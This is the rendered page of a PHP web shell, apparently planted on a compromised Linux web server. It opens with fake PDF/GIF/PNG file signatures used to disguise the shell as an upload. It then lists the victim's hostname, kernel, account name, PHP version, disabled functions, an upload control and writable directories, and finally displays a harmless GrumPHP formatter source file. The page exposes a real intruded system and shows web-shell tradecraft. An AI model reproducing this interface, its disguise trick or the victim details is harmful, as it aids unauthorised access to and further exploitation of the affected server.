%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/vendor/phpro/grumphp/src/Formatter/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/vendor/phpro/grumphp/src/Formatter/PhpCsFixerFormatter.php
<?php

declare(strict_types=1);

namespace GrumPHP\Formatter;

use Symfony\Component\Process\Process;

class PhpCsFixerFormatter implements ProcessFormatterInterface
{
    /**
     * @var int
     */
    private $counter = 0;

    /**
     * Resets the internal counter.
     */
    public function resetCounter(): void
    {
        $this->counter = 0;
    }

    public function format(Process $process): string
    {
        $output = $process->getOutput();
        if (!$output) {
            return $process->getErrorOutput();
        }

        if (!$json = json_decode($output, true)) {
            return $output;
        }

        return $this->formatJsonResponse($json);
    }

    private function formatJsonResponse(array $json): string
    {
        $formatted = [];
        foreach ($json['files'] as $file) {
            if (!\is_array($file) || !isset($file['name'])) {
                $formatted[] = 'Invalid file: '.print_r($file, true);
                continue;
            }

            $formatted[] = $this->formatFile($file);
        }

        return implode(PHP_EOL, $formatted);
    }

    private function formatFile(array $file): string
    {
        if (!isset($file['name'])) {
            return 'Invalid file: '.print_r($file, true);
        }

        $hasFixers = isset($file['appliedFixers']);
        $hasDiff = isset($file['diff']);

        return sprintf(
            '%s) %s%s%s',
            ++$this->counter,
            $file['name'],
            $hasFixers ? ' ('.implode(', ', $file['appliedFixers']).')' : '',
            $hasDiff ? PHP_EOL.PHP_EOL.$file['diff'] : ''
        );
    }
}

VaKeR 2022